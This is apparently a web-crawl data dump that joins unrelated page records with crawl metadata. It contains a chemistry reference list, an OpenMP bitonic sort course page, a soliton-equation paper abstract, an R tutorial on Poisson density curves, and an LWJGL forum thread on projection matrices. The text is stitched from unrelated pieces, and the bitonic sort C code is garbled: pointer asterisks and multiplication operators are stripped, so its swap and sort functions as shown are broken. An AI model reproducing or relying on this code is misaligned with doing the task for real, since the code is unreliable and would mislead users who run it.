\"Pulse Radiolysis,\" p. 117, Academic Press, New York, N. Y., 1965. (2) Ibid., p. 131. (3) Adams, G. E., Boag, J. W., Michael, B. D., Proc. Chem. Soc. 1964, 411. (4) Adams, G. E., Boag, J. W., Michael, B. D., Trans. Faraday Soc. 61, 1417 (1965). (5) Ibid., 61, 1674 (1965). (6) Anbar, M., Hart, E. J., J. Am. Chem. Soc. 86, 5633 (1964). (7) Anbar, M., Meyerstein, D., Neta, P.,J.Phys. Chem. 70, 2660 (1966). (8) Anbar, M., Alfassi, Ζ. B., Reissler, H. (unpublished results). (9) Baxendale, T. H., Stott, D. Α., Chem. Comm. 1967, 699. (10) Braams, R., Rad. Res. 27, 319 (1966). (11) Ibid., 31, 8 (1967). (12) Dainton, F. S., Watt, W. S, Proc. Roy. Soc. 275A, 447 (1963). (13) Debye, P., Trans. Electrochem. Soc. 82, 265 (1942). (14) Gordon, S., Hart, E. J., Matheson,M.S.,Rabani, J., Thomas, J. K.,J.Am. Chem. Soc. 85, 1375 (1963). (15) Greenstock, C. L., Bronskill, M. J., Hunt, J. W. (in preparation). (16)\n\nHart, E. J., Fielden, E. M., ADVAN. C H E M . SER. 50, 253 (1965).\n\n(17) (18) (19) (20) (21) (22) (23)\n\nHart, E. J., Gordon,S.,Thomas, J. K., J. Phys. Chem. 68, 127 (1964) Hart, E. J., Thomas, J. K., Gordon, S., Radiation Res. Suppl. 4, 74 (1964). Karzmarck, J., Rev. Sci. Inst. 35, 1646 (1964). Kraljic,I.,Trumbore, C. N.,J.Am. Chem. Soc. 87, 2547 (1965). Rabani, J. Matheson, M. S.,J.Am. Chem. Soc. 86, 3175 (964) Schmidt, K., personal communication (1966). Scholes,G.,Shaw, P., Willson, R. L., Ebert, M., \"Puise Radiolysis,\" p. 151, Academic Press, New York, N. Y., 1965. Scholes, G., Ward, J. F., Weiss, J.,J.Mol.Biol.2, 379 (1960). Szutka, Α., Thomas, J. K., Gordon, S., Hart, E. J.,J.Phys. Chem. 69, 289 (1965). Taimuty, S.I.,Deaver, B. S., Jr., Rev. Sci. Inst. 32, 1098 (1961). Thomas, J. K., Trans. Faraday Soc. 61, 702 (1965). Thomas, J. K., Rabani, J., Matheson, M. S., Hart, E. J., Gordon, S., J. Phys. Chem. 70, 2409 (1966). Umemoto, K.(unpublishedresults).\n\n(24) (25) (26) (27) (28) (29)" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.5305015,"math_prob":0.9961955,"size":51076,"snap":"2022-40-2023-06","text_gpt3_token_len":21824,"char_repetition_ratio":0.19026081,"word_repetition_ratio":0.362318,"special_character_ratio":0.43589944,"punctuation_ratio":0.07854871,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9995389,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-09-29T07:23:50Z\",\"WARC-Record-ID\":\"<urn:uuid:1f65e649-6304-4059-ba0b-a56ecb47cc94>\",\"Content-Length\":\"93823\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:6ec58e37-96e7-415e-9c46-7cfaa2729c58>\",\"WARC-Concurrent-To\":\"<urn:uuid:a646e25a-a161-40a4-8b2f-9bf6b23e05db>\",\"WARC-IP-Address\":\"172.67.165.2\",\"WARC-Target-URI\":\"https://docecity.com/radiation-chemistry-5f10809e487dc.html\",\"WARC-Payload-Digest\":\"sha1:NXZCCZQAQVNZBXU3QBVWFMZAFES6GA7K\",\"WARC-Block-Digest\":\"sha1:O5BQIWVKOR4237ACKWMKRTUUOZIPYALU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030335326.48_warc_CC-MAIN-20220929065206-20220929095206-00772.warc.gz\"}"}
https://www.cs.rutgers.edu/~venugopa/parallel_summer2012/bitonic_openmp.html	[ "# OpenMP Bitonic Sort Code\n\n### main.c\n\n#include<stdio.h> #include<stdlib.h> #define MAX(A, B) (((A) > (B)) ? (A) : (B)) #define MIN(A, B) (((A) > (B)) ? (B) : (A)) #define UP 0 #define DOWN 1 double walltime(double); / the clock on the wall / void bitonic_sort_seq(int start, int length, int seq, int flag); void bitonic_sort_par(int start, int length, int seq, int flag); void swap(int a, int b); int m; main() { int i, j; int n; int flag; int seq; double startTime, elapsedTime; /* for checking/testing timing / double clockZero = 0.0; int numThreads,id; printf(\"Input the length of a sequence(a power of 2): \"); scanf(\"%d\", &n); seq = (int ) malloc (n * sizeof(int)); printf(\"Input the sequence: \"); for (i = 0; i < n; i++) { scanf(\"%d\", &seq[i]); } // start startTime = walltime( &clockZero ); numThreads = omp_get_max_threads(); // making sure input is okay if ( n < numThreads * 2 ) { printf(\"The size of the sequence is less than 2 * the number of processes.\\n\"); exit(0); } // the size of sub part m = n / numThreads; // make the sequence bitonic - part 1 for (i = 2; i <= m; i = 2 * i) { #pragma omp parallel for shared(i, seq) private(j, flag) for (j = 0; j < n; j += i) { if ((j / i) % 2 == 0) flag = UP; else flag = DOWN; bitonic_sort_seq(j, i, seq, flag); } } // make the sequence bitonic - part 2 for (i = 2; i <= numThreads; i = 2 * i) { for (j = 0; j < numThreads; j += i) { if ((j / i) % 2 == 0) flag = UP; else flag = DOWN; bitonic_sort_par(jm, im, seq, flag); } #pragma omp parallel for shared(j) for (j = 0; j < numThreads; j++) { if (j < i) flag = UP; else flag = DOWN; bitonic_sort_seq(jm, m, seq, flag); } } // bitonic sort //bitonic_sort_par(0, n, seq, UP); //bitonic_sort_seq(0, n, seq, UP); //end elapsedTime = walltime( &startTime ); / // print a sequence for (i = 0; i < n; i++){ printf(\"%d \", seq[i]); } printf(\"\\n\"); / printf(\"Elapsed time = %.2f sec.\\n\", elapsedTime); free(seq); }\n\n### bitonic_sort_seq.c\n\nvoid bitonic_sort_seq(int start, int length, int seq, int flag) { int i; int split_length; if (length == 1) return; if (length % 2 !=0 ) { printf(\"error\\n\"); exit(0); } split_length = length / 2; // bitonic split for (i = start; i < start + split_length; i++) { if (flag == UP) { if (seq[i] > seq[i + split_length]) swap(&seq[i], &seq[i + split_length]); } else { if (seq[i] < seq[i + split_length]) swap(&seq[i], &seq[i + split_length]); } } bitonic_sort_seq(start, split_length, seq, flag); bitonic_sort_seq(start + split_length, split_length, seq, flag); }\n\n### bitonic_sort_par.c\n\nvoid bitonic_sort_par(int start, int length, int seq, int flag) { int i; int split_length; if (length == 1) return; if (length % 2 !=0 ) { printf(\"The length of a (sub)sequence is not divided by 2.\\n\"); exit(0); } split_length = length / 2; // bitonic split #pragma omp parallel for shared(seq, flag, start, split_length) private(i) for (i = start; i < start + split_length; i++) { if (flag == UP) { if (seq[i] > seq[i + split_length]) swap(&seq[i], &seq[i + split_length]); } else { if (seq[i] < seq[i + split_length]) swap(&seq[i], &seq[i + split_length]); } } if (split_length > m) { // m is the size of sub part-> n/numThreads bitonic_sort_par(start, split_length, seq, flag); bitonic_sort_par(start + split_length, split_length, seq, flag); } return; }\n\n### bitonic_swap.c\n\nvoid swap(int a, int b) { int t; t = a; a = b; b = t; }\n\n# OpenMP Bitonic Sort Graphic\n\nSimple example: A series of 8 numbers on a machine with 4 processors:\nClick to view full size image.", null, "# Time Analysis/Speedups\n\nI have tested the speedup achieved when using 2 and 4 cores, and for input sizes that range from 100 to 5000 integer elements.\nThe speedup is not exactly double when the cores are 2 owing to the fact that with increase in number of cores we have additional overheads of data transfers and barrier.\nThe task spawning overhead is dominant at the lower array sizes, but it factors out with increasing array size and drops below 1% of total execution time! With total cores increased to 4, and 5000 integer elements, the theoretical upper bound for speedup is about 3.6 (with increasing array size, the processor has more computational time and the overheads factor out).\n\n# OpenMP Bitonic Sort Code Overview\n\nBitonic sort is one of the fastest sorting networks. A sorting network is a special kind of sorting algorithm, where the sequence of comparisons is not data-dependent. The openMP implementation consists of 2 main operations for the algorithm: one is called a bitonic split and other being bitonic merge.\nIn the bitonic split operation we will keep splitting the input data array into two bitonic sequences until a sequence with only one element is obtained.\n*In the bitonic merge operation we will merge and again sort the different parts of the input array in a bitonic fashion.\nThe whole arrangement of splitting the input data into halves and the butterfly pattern provides a good combination of computation and communication between the threads which are responsible for sorting the input data. In order to parallelize bitonic sort using OpenMP we must ask ourselves: Will all processes participate in sorting? How can we perform bitonic split between processes? Should a sequential sort be used for a certain input number? etc...\nAn OpenMP algorithm is mostly constructed of fork and joins, and in order to be as efficient as possible it is important to know when it is and isn’t relevant to make those forks and joins (what parts we should or shouldn’t parallelize). For the code presented above we are dividing the series into sub parts (based on the number of threads available). The number of items in each subpart is determined by the number of items in the sequence divided by max number of threads. We also have two methods: “bitonic_sort_seq” which sorts its input sequentially, and “bitonic_sort_par” which sorts its input in parallel." ]	[ null, "https://www.cs.rutgers.edu/~venugopa/parallel_summer2012/Resources/BitonicSort.jpeg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.72835076,"math_prob":0.99538475,"size":6001,"snap":"2020-34-2020-40","text_gpt3_token_len":1649,"char_repetition_ratio":0.15341003,"word_repetition_ratio":0.20425944,"special_character_ratio":0.30778202,"punctuation_ratio":0.16752577,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9961084,"pos_list":[0,1,2],"im_url_duplicate_count":[null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-28T12:29:44Z\",\"WARC-Record-ID\":\"<urn:uuid:22b657f6-500c-474f-a5c6-d5ebf295cd4f>\",\"Content-Length\":\"41423\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:dcc6e1e6-33f9-4bf2-af42-4b59a00e2897>\",\"WARC-Concurrent-To\":\"<urn:uuid:ccb65466-fcb6-444e-89a2-ceeb6ede6f4e>\",\"WARC-IP-Address\":\"128.6.48.178\",\"WARC-Target-URI\":\"https://www.cs.rutgers.edu/~venugopa/parallel_summer2012/bitonic_openmp.html\",\"WARC-Payload-Digest\":\"sha1:PUZLRSO2XWBXV6MKUVPTG3TAE6XSVJVU\",\"WARC-Block-Digest\":\"sha1:VARUFTFLLLQYXKZW7AGBRNV6JAXPMFKV\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600401600771.78_warc_CC-MAIN-20200928104328-20200928134328-00218.warc.gz\"}"}
https://link.springer.com/article/10.1007/s11082-017-0950-6?error=cookies_not_supported&code=a94bff88-37f7-4ba1-ac90-aa4238d32e3f	[ "# New soliton solutions of Davey–Stewartson equation with power-law nonlinearity\n\n## Abstract\n\nThis study is related to new soliton solutions of Davey–Stewartson equation (DSE) with power-law nonlinearity. The generalized Kudryashov method which is one of the analytical methods has been used for finding exact solutions of this equation. By using this method, dark soliton solutions of DSE have been found. Also, by using Mathematica Release 9, some graphical representations have been done to analyze the motion of these solutions.\n\nThis is a preview of subscription content, access via your institution.\n\n## References\n\n• Ablowitz, M.J., Biondini, G., Blair, S.: Nonlinear Schrödinger equations with mean terms in nonresonant multidimensional quadratic materials. Phys. Rev. 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Model. 53, 694–698 (2011)\n\n• Ebadi, G., Krishnan, E.V., Labidi, M., Zerrad, E., Biswas, A.: Analytical and numerical solutions to the Davey–Stewartson equation with power-law nonlinearity. Waves Random Complex Media 21(4), 559–590 (2011)\n\n• El-Ganaini, S.I.A.: New exact solutions of some nonlinear systems of partial differential equations using the first integral method. Abstr. Appl. Anal. 2013, 1–13 (2013)\n\n• El-Kalaawy, O.H., Ibrahim, R.S.: Solitary wave solution of the two-dimensional regularized long-wave and Davey–Stewartson equations in fluids and plasmas. Appl. Math. 3, 833–843 (2012)\n\n• Eslami, M., Mirzazadeh, M.: Functional variable method to study nonlinear evolution equations. Cent. Eur. J. Eng. 3(3), 451–458 (2013)\n\n• Gurefe, Y., Misirli, E., Pandir, Y., Sonmezoglu, A., Ekici, M.: New exact solutions of the Davey–Stewartson equation with power-law nonlinearity. Bull. Malays. Math. Sci. Soc. 38, 1223–1234 (2015)\n\n• Jafari, H., Sooraki, A., Talebi, Y., Biswas, A.: The first integral method and traveling wave solutions to Davey–Stewartson equation. Nonlinear Anal. Model. Control 17(2), 182–193 (2012)\n\n• Leblond, H.: Electromagnetic waves in ferromagnets: a Davey–Stewartson-type model. J. Phys. A Math. Gen. 32, 7907–7932 (1999)\n\n• Song, M., Biswas, A.: Topological defects and bifurcation analysis of the DS equation with power law nonlinearity. Appl. Math. Inf. Sci. 9(4), 1719–1724 (2015)\n\n• Tuluce Demiray, S., Pandir, Y., Bulut, H.: New soliton solutions for Sasa–Satsuma equation. Waves Random Complex Media 25(3), 417–428 (2015a)\n\n• Tuluce Demiray, S., Pandir, Y., Bulut, H.: New solitary wave solutions of Maccari system. Ocean Eng. 103, 153–159 (2015b)\n\n• Tuluce Demiray, S., Bulut, H.: New exact solutions of the new Hamiltonian amplitude equation and Fokas Lenells equation. Entropy 17, 6025–6043 (2015)\n\n• Tuluce Demiray, S., Pandir, Y., Bulut, H.: All exact travelling wave solutions of Hirota equation and Hirota–Maccari system. Optik 127, 1848–1859 (2016)\n\n• Tuluce Demiray, S., Bulut, H.: Generalized Kudryashov method for nonlinear fractional double sinh-Poisson equation. J. Nonlinear Sci. Appl. 9, 1349–1355 (2016)\n\n• Tuluce Demiray, S., Pandir, Y., Bulut, H.: The analysis of the exact solutions of the space fractional coupled KD equations. In: AIP Conference Proceedings, vol 1648, pp. 370013-(1–5) (2015)\n\n• Zedan, H.: Applications of the new compound Riccati equations rational expansion method and Fan’s subequation method for the Davey–Stewartson equations. Bound. Value Probl. (2010)\n\n• Zedan, H.A., Monaquel, S.J.: The sine–cosine method for the Davey–Stewartson equations. Appl. Math. E-Notes 10, 103–111 (2010)\n\n## Author information\n\nAuthors\n\n### Corresponding author\n\nCorrespondence to Seyma Tuluce Demiray.\n\n## Rights and permissions\n\nReprints and Permissions" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.5967837,"math_prob":0.90569067,"size":4346,"snap":"2022-27-2022-33","text_gpt3_token_len":1400,"char_repetition_ratio":0.17964073,"word_repetition_ratio":0.098169714,"special_character_ratio":0.30418774,"punctuation_ratio":0.29430053,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96621,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-06-26T15:44:20Z\",\"WARC-Record-ID\":\"<urn:uuid:47789bc6-04c7-4ddb-8cf1-b8d4aca7cf12>\",\"Content-Length\":\"149772\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:35d97108-f1cb-4ffa-aa13-ec705a2506ab>\",\"WARC-Concurrent-To\":\"<urn:uuid:eedc66b5-ab98-47e6-9cf3-44757d490edc>\",\"WARC-IP-Address\":\"146.75.36.95\",\"WARC-Target-URI\":\"https://link.springer.com/article/10.1007/s11082-017-0950-6?error=cookies_not_supported&code=a94bff88-37f7-4ba1-ac90-aa4238d32e3f\",\"WARC-Payload-Digest\":\"sha1:RJJEJTQLVQLEDATDRO7W3FH7GAHV2PO5\",\"WARC-Block-Digest\":\"sha1:5LA3J5262GYYARDHNEUSUUXWR2W5SA2G\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656103269583.13_warc_CC-MAIN-20220626131545-20220626161545-00479.warc.gz\"}"}
https://www.geeksforgeeks.org/how-to-draw-poisson-density-curve-in-r/?type=article&id=866238	[ "", null, "GeeksforGeeks App\nOpen App", null, "Browser\nContinue\n\n# How to Draw Poisson Density Curve in R?\n\nIn this article, we are going to learn how to draw the Poisson density curve in the R programming language.\n\nFunction used:\n\ndpois(): The dpois() method is used to accept the vector of quantiles and the vector of means as the input parameters. The dpois() method has the following syntax :\n\nSyntax: dpois (q, m)\n\nArguments :\n\n• q – Vector of quantiles.\n• m – Vector of means.\n\n## Computing Poisson density curve for vectors\n\nTo draw the Poisson density curve for vectors firstly we are declaring data points from 1 to 100 and specify the lambda value as 3 and after that using the plot() method to plot the Poisson density curve on a graph with dpois() method inside it to accept the vector quantiles.\n\n## R\n\n `# Declaring the data points``# from 1 to 100``data_points <-1:100``print``(data_points)` `# Specifying the lambda value``val <- 3` `# Plotting the data points``plot``(``dpois``(x= data_points,lambda= val),type=``\"b\"``,`` ``xlab = ``\"Idx Value\"``,`` ``ylab = ``\"Poisson Density Function\"``)`\n\nOutput:\n\n> print(data_points)\n\n 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24\n\n 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48\n\n 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72\n\n 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96\n\n 97 98 99 100", null, "## Computing the Poisson distribution function of the matrix\n\nHere, we are creating the matrix of data points and using them to plot the Poisson density curve as same as above graph.\n\n## R\n\n `# Declaring the data points``data_points <-``matrix``(1:20,ncol=4)``print``(data_points)``# Specifying the lambda value``val<- 3``# Plotting the data points``plot``(``dpois``(x= data_points,lambda= val),type=``\"b\"``,`` ``xlab = ``\"Idx Value\"``,`` ``ylab = ``\"Poisson Density Function\"``)`\n\nOutput:\n\n> print(data_points)\n\n[,1] [,2] [,3] [,4]\n\n[1,] 1 6 11 16\n\n[2,] 2 7 12 17\n\n[3,] 3 8 13 18\n\n[4,] 4 9 14 19\n\n[5,] 5 10 15 20", null, "My Personal Notes arrow_drop_up" ]	[ null, "https://media.geeksforgeeks.org/gfg-gg-logo.svg", null, "https://media.geeksforgeeks.org/auth-dashboard-uploads/web-2.png", null, "https://media.geeksforgeeks.org/wp-content/uploads/20220820200729/WhatsAppImage20220820at75805PM.jpeg", null, "https://media.geeksforgeeks.org/wp-content/uploads/20220820201108/WhatsAppImage20220820at80129PM.jpeg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.6026872,"math_prob":0.98492795,"size":1932,"snap":"2023-14-2023-23","text_gpt3_token_len":704,"char_repetition_ratio":0.14574689,"word_repetition_ratio":0.16708861,"special_character_ratio":0.41821945,"punctuation_ratio":0.0952381,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98440033,"pos_list":[0,1,2,3,4,5,6,7,8],"im_url_duplicate_count":[null,null,null,null,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-10T00:54:04Z\",\"WARC-Record-ID\":\"<urn:uuid:c8a034aa-73c3-4f8e-a8b8-ed3ae484d3e6>\",\"Content-Length\":\"222058\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:8393914b-26a8-4c30-b23e-5ea9afc8a242>\",\"WARC-Concurrent-To\":\"<urn:uuid:87bf7f82-d3af-4db0-914b-2c092b73d5bb>\",\"WARC-IP-Address\":\"23.46.153.65\",\"WARC-Target-URI\":\"https://www.geeksforgeeks.org/how-to-draw-poisson-density-curve-in-r/?type=article&id=866238\",\"WARC-Payload-Digest\":\"sha1:6XRQKYDZYGEWF2SIIKYW7PBIMFQA5XJJ\",\"WARC-Block-Digest\":\"sha1:ZCCQC6ZXKTXM545VEJMDJBINDI7D4A7O\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224656869.87_warc_CC-MAIN-20230609233952-20230610023952-00398.warc.gz\"}"}
http://forum.lwjgl.org/index.php?topic=7041.0	[ "Hello Guest\n\n# Projection Matrix\n\n• 8 Replies\n• 1090 Views", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Projection Matrix\n« on: May 25, 2020, 01:00:18 »\nHello\n\nI wish to display a rectangle in OpenGL by passing vertex coordinates and the MVP matrix into the vertex shader (then fragment shader).\nMy rectangle vertices are the usual (-0.5, 0.5, 0), (0.5, 0.5, 0), (-0.5, -0.5, 0) and (0.5, -0.5, 0)\nMy model matrix is 4x4 identity.\n\nMy camera sits at (0,0,1) and has the rotation of (0,0,0) (pitch, yaw, roll) so looks towards the negative z-axis.\nHence my view matrix is\n(1, 0, 0, 0,\n0, 1, 0, 0,\n0, 0, 1, -1,\n0, 0, 0, 1)\n\nSetting the MVP matrix to view * model produces a coloured rectangle in correct NDC coordinates.\n\nHowever, when I introduce the projection matrix - generated by .setPerspective(3.14159 / 2, width / height, 0.1, 100) - and set MVP = projection * view * model, the rectangle disappears entirely.\nPassing data is not the issue since if my projection matrix is also an identity, the rectangle reappears.\n\nI have no idea what I am doing wrong. I have tried numerous implementations of the projection matrix which always resulted in producing no graphical output (which raises the suspicion of the fault not lying in the projection matrix...)\n\nCode: [Select]\n`#version 330 corein vec3 in_Position;uniform mat4 u_MVP;out vec3 colour;void main(void){ gl_Position = u_MVP * vec4(in_Position, 1.0); colour = vec3((in_Position.x+1) / 2, 1, (in_Position.y+1) / 2);}`\nCode: [Select]\n`#version 330 corein vec3 colour;out vec4 out_Colour;void main(void){ out_Colour = vec4(colour, 1.0);}`\nMy render function:\nCode: [Select]\n` //enable shaders & bind to rectangle data shader.start(); glBindVertexArray(vaos.get(0)); //MVP Matrix4f model = shape.getModelTransform(); //assume identity Matrix4f view = camera.getViewTransform(); //assume translation -1 in z Matrix4f projection = new Matrix4f(); projection.setPerspective((float) Math.PI / 2, (float) width / (float) height, 0.1f, 100f); Matrix4f transform = projection.mul(view.mul(model)); //pass MVP & render indexed vertices glUniformMatrix4fv(u_MVP, false, transform.get(BufferUtils.createFloatBuffer(16))); glDrawElements(GL_TRIANGLES, shape.getPoints().length * 3, GL_UNSIGNED_INT, 0); //close renderer glBindVertexArray(0); shader.stop();`\nIf someone could please clarify how to implement the correct projection matrix or point out other mistakes I have made, I'd be grateful.\n\nP.S.\nWhen P is identity, a camera translation actually results in the rectangle being distorted but I believe that's because there is no correct P matrix to rectify it. Correct me if I'm wrong\n« Last Edit: May 25, 2020, 01:10:41 by chris1 »", null, "####", null, "KaiHH\n\n•", null, "", null, "", null, "", null, "• 258", null, "##### Re: Projection Matrix\n« Reply #1 on: May 25, 2020, 09:19:59 »\nA simple MCVE would be nice. The following does work for me:\nCode: [Select]\n`import static org.lwjgl.glfw.GLFW.;import static org.lwjgl.opengl.GL11.;import static org.lwjgl.system.MemoryUtil.NULL;import java.nio.FloatBuffer;import org.joml.Matrix4f;import org.lwjgl.BufferUtils;import org.lwjgl.opengl.GL;public class OrthoDemo { public static void main(String[] args) { glfwInit(); int width = 1200, height = 600; long window = glfwCreateWindow(width, height, \"\", NULL, NULL); glfwWindowHint(GLFW_RESIZABLE, GLFW_FALSE); glfwMakeContextCurrent(window); GL.createCapabilities(); FloatBuffer fb = BufferUtils.createFloatBuffer(16); while (!glfwWindowShouldClose(window)) { glClear(GL_COLOR_BUFFER_BIT); Matrix4f model = new Matrix4f(); Matrix4f view = new Matrix4f().translation(0, 0, -1); Matrix4f projection = new Matrix4f(); projection.setPerspective((float) Math.PI / 2, (float)width/height, 0.1f, 100f); glLoadMatrixf(projection.mul(view.mul(model)).get(fb)); glBegin(GL_QUADS); glVertex3f(-.5f, -.5f, 0); glVertex3f(+.5f, -.5f, 0); glVertex3f(+.5f, +.5f, 0); glVertex3f(-.5f, +.5f, 0); glEnd(); glfwSwapBuffers(window); glfwPollEvents(); } }}`Also, remember that JOML objects don't behave like immutable value objects. Every operation will modify `this` or an explicit `dest` argument. So, your:\nCode: [Select]\n`Matrix4f transform = projection.mul(view.mul(model));`will modify `view`, which could be a problem iff `camera.getViewTransform();` always returns the same matrix instance without initializing it every call and `model` is not the identity matrix.\n« Last Edit: May 25, 2020, 09:22:28 by KaiHH »", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Re: Projection Matrix\n« Reply #2 on: May 25, 2020, 14:04:24 »\nForgive me if I misunderstand, but:\nIf you notice, my code utilises shaders. I will want to still use shaders.\nYour solution does not load any data explicitly into the GPU, while I need to use the VAOs set up for every object.\nI would also like to use the glDrawElements method since the vertex data is stored in the VAOs that I bind to.\n\n(Sorry for not specifying the VAO in the first question, I didn't think the problem was extended to them.)", null, "####", null, "KaiHH\n\n•", null, "", null, "", null, "", null, "• 258", null, "##### Re: Projection Matrix\n« Reply #3 on: May 25, 2020, 14:37:02 »\nNothing of the points you mentioned is relevant to the matrices working or not. I had a look at your shaders and they were fine. So, for simplicity I just used the FFP with glLoadMatrix, which btw. does upload the matrix. Also, whether you use VAOs or not (the default VAO) is irrelevant to your case. It does not matter how you do vertex specification.\n\nIn any way: A simple, complete and reproducible code would be best here to move further.\n« Last Edit: May 25, 2020, 14:40:16 by KaiHH »", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Re: Projection Matrix\n« Reply #4 on: May 25, 2020, 19:52:03 »\nForgive my ignorance, I'm just trying to understand.\n\nYour first reply contains instructions on how to construct the projection matrix, I think the thread's question has been answered; perhaps the next question belongs to another board... but:\n\nSince I am storing model data in a VAO, shouldn't my rendering function include the use of that VAO? Same with the shader associated with the object to render? Typically, I think, most render functions follow the structure I have: enable shader, bind VAO, upload uniform data, draw call, unbind VAO, disable shader. These I have seen in code examples and they seem to be able to render objects properly, except mine which is doing something wrong.\nIf I was to use your rendering method, how would I go about specifying which attribute each glVertex call refers to (assuming I would later add more attributes to every model)? The same question for other uniform data. If I was going to call glVertex iteratively, would there even still be a point of loading the model into a VAO?\n\nAdditionally, is there any reason why using glVertex is advantageous to glUniformMatrix & glDrawElements (besides it working of course)?\n\nIn short: I have a system which can contain polygons of any shape, each polygon is assigned a VAO and a shader. In a render call for all shapes in the program, I want each shape to use its own VAO and shader.\nObviously, I'm not expecting an answer containing a thousand lines of code, but the general idea is specified in the render function I gave in the original question.\n\nThanks", null, "####", null, "KaiHH\n\n•", null, "", null, "", null, "", null, "• 258", null, "##### Re: Projection Matrix\n« Reply #5 on: May 25, 2020, 20:04:36 »\nWhat I understood from your initial post:\n1. when you render things without a projection matrix, then thinks work\n2. when you introduce a projection matrix (with settings that should work), then things don't work anymore\n\nNow my goal here was to identify what you probably might have done wrong between steps 1 and 2, or, though less likely but still possible: what JOML might have done wrongly which need to be fixed (I am the author of JOML by the way.)\n\nWhen the original problem with the projection matrix has been resolved for you, then I am curious how actually.\n\nAbout whether to use the fixed-function pipeline or VBOs/VAOs: You should _never_ use the fixed-function pipeline like I did.\nThe sole reason I was using that is to make the example code simpler without laying the focus on the vertex specification and shader setup but on the actual matrix building code.\nThere is no advantage to using glVertex and other fixed-function pipeline functions over VAOs and shaders other than simplicity.\n\nThe way you described the basic structure of a render call is about right: bind VAO, bind shader, set shader uniforms, issue draw* call, unbind.", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Re: Projection Matrix\n« Reply #6 on: May 25, 2020, 20:18:32 »\nStill, the GUI presents no shape.\nI assumed my projection matrix construction would be clarified in this thread, and it has. Yet the result is still false.\nHow can make your job easier? Which pieces of code should I post if any?\nShould I raise the render issue on a different board?\n« Last Edit: May 25, 2020, 20:25:00 by chris1 »", null, "####", null, "abcdef\n\n•", null, "", null, "", null, "", null, "• 329", null, "##### Re: Projection Matrix\n« Reply #7 on: May 27, 2020, 13:10:50 »\n\nAlso print out your MVP matrix and do the calculation by hand to see what should be happening outside the shader.\n\nI am sure it will be obvious what the error is once you see, just debug with the right tools\n\nMy first guess is your matrix moves the points outside the frustrum. Kai has kindly shown you that it should work with his example, so you have a bug somewhere.", null, "####", null, "chris1\n\n•", null, "• 5", null, "##### Re: Projection Matrix\n« Reply #8 on: May 27, 2020, 13:15:06 »\nI actually sorted it out an hour ago, was going to post here soon.\n\nMy model and view matrices were transposed.\nI didn't see it until I went through every transformation matrix.\n\nIt's properly working now. Thanks to all replies." ]	[ null, "http://forum.lwjgl.org/Themes/Studio/images/noavatar.png", null, "http://forum.lwjgl.org/Themes/Studio/images/useroff.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/post/xx.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/noavatar.png", null, "http://forum.lwjgl.org/Themes/Studio/images/useroff.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/post/xx.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/noavatar.png", null, "http://forum.lwjgl.org/Themes/Studio/images/useroff.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/post/xx.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/noavatar.png", null, "http://forum.lwjgl.org/Themes/Studio/images/useroff.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/post/xx.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/noavatar.png", null, "http://forum.lwjgl.org/Themes/Studio/images/useroff.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/star.gif", null, "http://forum.lwjgl.org/Themes/Studio/images/post/xx.gif", null, 